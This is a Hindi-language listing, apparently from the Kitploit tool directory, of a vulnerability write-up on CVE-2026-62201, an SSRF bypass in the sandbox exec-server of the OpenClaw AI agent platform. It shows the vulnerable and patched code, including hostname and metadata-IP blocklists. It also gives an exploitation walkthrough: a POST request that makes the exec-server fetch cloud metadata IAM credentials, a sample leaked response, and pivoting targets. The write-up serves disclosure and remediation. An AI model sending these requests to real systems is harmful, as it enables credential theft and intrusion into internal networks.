Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-62201-OpenClaw-SSRF — CVE-2026-62201 का गहन विश्लेषण: OpenClaw सैंडबॉक्स exec-server नेटवर्क पॉलिसी बाईपास (SSRF)। मूल कारण, असुरक्षित बनाम पैच किया गया कोड, शोषण, पहचान, उपचार। | Kitploit
उपकरण/GitHubGitHub/diedromeo/cve-2026-62201-openclaw-ssrf
भेद्यता विश्लेषणशोषणवेब सुरक्षाक्लाउड सुरक्षा
GitHubdiedromeo/cve-2026-62201-openclaw-ssrf

CVE-2026-62201-OpenClaw-SSRF

CVE-2026-62201 का गहन विश्लेषण: OpenClaw सैंडबॉक्स exec-server नेटवर्क पॉलिसी बाईपास (SSRF)। मूल कारण, असुरक्षित बनाम पैच किया गया कोड, शोषण, पहचान, उपचार।

रिपॉजिटरी देखें
1621 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-62201 — OpenClaw सैंडबॉक्स Exec-Server नेटवर्क पॉलिसी बायपास (SSRF)

गंभीरता: उच्च · CVSS: 7.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) · CWE-918 (सर्वर-साइड रिक्वेस्ट फोर्जरी)


भेद्यता एक नज़र में

फ़ील्डमान
एडवाइज़रीGHSA-mgvr-6gvw-3rgr
NVDCVE-2026-62201
उत्पादOpenClaw (npm पैकेज openclaw) — सैंडबॉक्स exec-server घटक
प्रभावितopenclaw < 2026.6.6
पैच किया गया2026.6.6 और बाद के संस्करण
मूल कारणexec-server के एम्बेडेड HTTP हेल्पर (SANDBOX_HTTP_REQUEST_SCRIPT) में SSRF सत्यापन का अभाव
फिक्स कमिट21410d1c — "fix(codex): guard sandbox http requests"
अटैक वेक्टरexec-server के http/request हैंडलर पर हमलावर-नियंत्रित URL के साथ HTTP POST
प्रभावकम-विशेषाधिकार वाला कॉलर आंतरिक नेटवर्क गंतव्यों (क्लाउड मेटाडेटा, निजी IP, localhost सेवाएँ) तक पहुँचता है, जिन्हें OpenClaw नेटवर्क पॉलिसी को ब्लॉक करना चाहिए

सारांश

OpenClaw एक AI एजेंट प्लेटफ़ॉर्म है जिसका सैंडबॉक्स exec-server एक HTTP रिक्वेस्ट हेल्पर उजागर करता है जिसका उपयोग एजेंट आउटबाउंड वेब कॉल करने के लिए करते हैं। 2026.6.6 से पहले के संस्करणों में यह हेल्पर बिना किसी SSRF सुरक्षा के भेजा गया था: एक कम-विश्वास वाला कॉलर — कोई भी एजेंट, टूल, या इनपुट पथ जिसे प्लेटफ़ॉर्म गेटवे ऑपरेटर से कम विश्वसनीय मानता है — एक मनमाना URL सबमिट कर सकता था और exec-server को उसे होस्ट नेटवर्क के अंदर से फ़ेच करवा सकता था।

सीधे सैंडबॉक्स ईग्रेस पर लागू होने वाली नेटवर्क पॉलिसी जाँचें लागू नहीं की गईं जब रिक्वेस्ट exec-server HTTP इंटरफ़ेस से होकर गुज़रती थीं। यही असंगति भेद्यता है: exec-server आंतरिक नेटवर्क में एक अप्रतिबंधित HTTP प्रॉक्सी के रूप में कार्य करता था।


तकनीकी गहन विश्लेषण

घटक: सैंडबॉक्स Exec-Server

जब OpenClaw एक Codex एजेंट को सैंडबॉक्स में चलाता है, तो यह एक स्थानीय exec-server (extensions/codex/src/app-server/sandbox-exec-server.ts) शुरू करता है जो WebSocket/HTTP ट्रांसपोर्ट पर JSON-RPC विधियाँ होस्ट करता है। उन विधियों में से एक, http/request, एजेंट को URL फ़ेच करने देती है। कार्यान्वयन रिक्वेस्ट को एक छोटे एम्बेडेड Python स्क्रिप्ट — SANDBOX_HTTP_REQUEST_SCRIPT — के माध्यम से पाइप करता है, जो वास्तविक urllib कार्य करती है।

रिक्वेस्ट हैंडलर extensions/codex/src/app-server/sandbox-exec-server/http.ts में स्थित है।

भेद्य कोड ([email protected])

Python हेल्पर को URL प्राप्त होता था और वह केवल स्कीम की जाँच करता था:

# [email protected] से — SANDBOX_HTTP_REQUEST_SCRIPT (संक्षिप्त)
def main():
    input_data = json.load(sys.stdin)
    url = str(input_data.get("url", ""))
    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise ValueError("http/request only supports http and https URLs")

    request = urllib.request.Request(url, ...)
    with urllib.request.urlopen(request, timeout=timeout) as response:
        handle_response(input_data, response)

यही पूरा गेट है। इसमें था:

  • ❌ कोई होस्टनेम ब्लॉकलिस्ट नहीं (localhost, *.internal, metadata.google.internal …)
  • ❌ कोई निजी / लिंक-लोकल / लूपबैक IP अस्वीकृति नहीं
  • ❌ कोई DNS-रिज़ॉल्यूशन जाँच नहीं (होस्टनेम आंतरिक IP पर रिज़ॉल्व हो सकता था)
  • ❌ कोई रीडायरेक्ट सत्यापन नहीं — http://169.254.169.254/ पर रीडायरेक्ट आँख बंद करके फ़ॉलो किया जाता था

परिणाम: {"method":"GET","url":"http://<internal-host>/"} आंतरिक रिस्पॉन्स बॉडी को कॉलर को लौटा देता था। exec-server होस्ट नेटवर्क में एक खुला प्रॉक्सी था।

फिक्स ([email protected])

कमिट 21410d1c ने दोनों परतों पर रक्षा-में-गहराई जोड़ी:

परत 1 — TypeScript प्री-चेक (assertSandboxHttpRequestTargetAllowed in http.ts):

function assertSandboxHttpRequestTargetAllowed(url: string): void {
  const parsed = new URL(url);
  if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
    throw new SsrFBlockedError(...);
  }
  if (isBlockedHostnameOrIp(parsed.hostname)) {
    throw new SsrFBlockedError(...);
  }
}

परत 2 — Python हेल्पर सख्तीकरण (assert_url_allowed एम्बेडेड स्क्रिप्ट में):

  • ब्लॉक किए गए होस्टनेम: localhost, localhost.localdomain, metadata.google.internal, साथ ही *.localhost, *.local, *.internal सफ़िक्स
  • क्लाउड मेटाडेटा IP: 169.254.169.254, 100.100.100.200, fd00:ec2::254
  • ब्लॉक किए गए IPv4/IPv6 नेटवर्क: CGNAT 100.64.0.0/10, बेंचमार्किंग 198.18.0.0/15, डॉक्यूमेंटेशन 2001:db8::/32, और अधिक
  • ipaddress वर्गीकरण: लूपबैक, निजी, लिंक-लोकल, मल्टीकास्ट, आरक्षित, अनिर्दिष्ट
  • DNS रिज़ॉल्यूशन पिनिंग: होस्टनेम को रिक्वेस्ट से पहले रिज़ॉल्व किया जाता है, हर रिज़ॉल्व किए गए पते की जाँच की जाती है, और जाँचे गए पते फिर वास्तविक कनेक्शन के लिए पिन किए जाते हैं (DNS-रीबाइंडिंग को रोकता है)
  • GuardedRedirectHandler: हर रीडायरेक्ट हॉप फ़ॉलो किए जाने से पहले assert_url_allowed को फिर से चलाता है
  • IPv6-एम्बेडेड-IPv4 निष्कर्षण: मैप किए गए (::ffff:a.b.c.d), 6to4 (2002::/16), Teredo, और ISATAP रूपों को अनरैप किया जाता है और उनके एम्बेडेड IPv4 की जाँच की जाती है
def assert_url_allowed(url):
    parsed = urllib.parse.urlparse(url)
    ...
    hostname = normalize_hostname(parsed.hostname)
    if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
        raise ValueError("Blocked hostname or private/internal/special-use IP address")
    results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
    addresses = {entry[4][0] for entry in results if entry[4]}
    if not addresses or any(is_blocked_ip(address) for address in addresses):
        raise ValueError("Blocked: resolves to private/internal/special-use IP address")
    PINNED_ADDRESSES[hostname] = sorted(addresses)

शोषण

पूर्वापेक्षाएँ

  • सैंडबॉक्स exec-server सक्षम के साथ चल रहा OpenClaw इंस्टेंस < 2026.6.6
  • exec-server HTTP एंडपॉइंट तक पहुँचने और http/request को आमंत्रित करने की क्षमता (प्लेटफ़ॉर्म इसे कम-विशेषाधिकार पहुँच मानता है — जैसे एक प्लगइन, एक टूल, या एक इनपुट पथ, गेटवे ऑपरेटर नहीं)

वॉकथ्रू

चरण 1 — आंतरिक सेवा को लक्षित करने वाली रिक्वेस्ट पोस्ट करें:

POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json

{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}

चरण 2 — भेद्य रिस्पॉन्स (HTTP 200):

exec-server ने आंतरिक URL फ़ेच किया और बॉडी को कॉलर को लौटा दिया — bodyBase64 के रूप में base64-लपेटा हुआ:

{
  "status": 200,
  "headers": [{"name":"Content-Type","value":"application/json"}],
  "bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}

डिकोड किया गया:

{
  "secret": "...",
  "instanceId": "...",
  "region": "us-east-1",
  "role": "admin-role"
}

चरण 3 — पैच किया गया रिस्पॉन्स (HTTP 502):

{
  "error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}

पैच किए गए संस्करणों पर exec-server के माध्यम से आंतरिक गंतव्य अप्राप्य है।

अटैक चेन उदाहरण

  1. क्लाउड मेटाडेटा एक्सफ़िल्ट्रेशन — http://169.254.169.254/latest/meta-data/iam/security-credentials/ → IAM क्रेडेंशियल्स
  2. पिवोटिंग — RFC 1918 स्पेस पर एडमिन कंसोल, डेटाबेस और अन्य आंतरिक सेवाओं तक पहुँचना जो exec-server से कभी पहुँच योग्य नहीं होनी चाहिए थीं
  3. Localhost सेवाएँ — http://127.0.0.1:<port>/ सह-स्थित अप्रमाणित प्रबंधन इंटरफ़ेस तक पहुँचने के लिए

प्रभाव और CVSS तर्क

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 उच्च

टूल डाउनलोड करें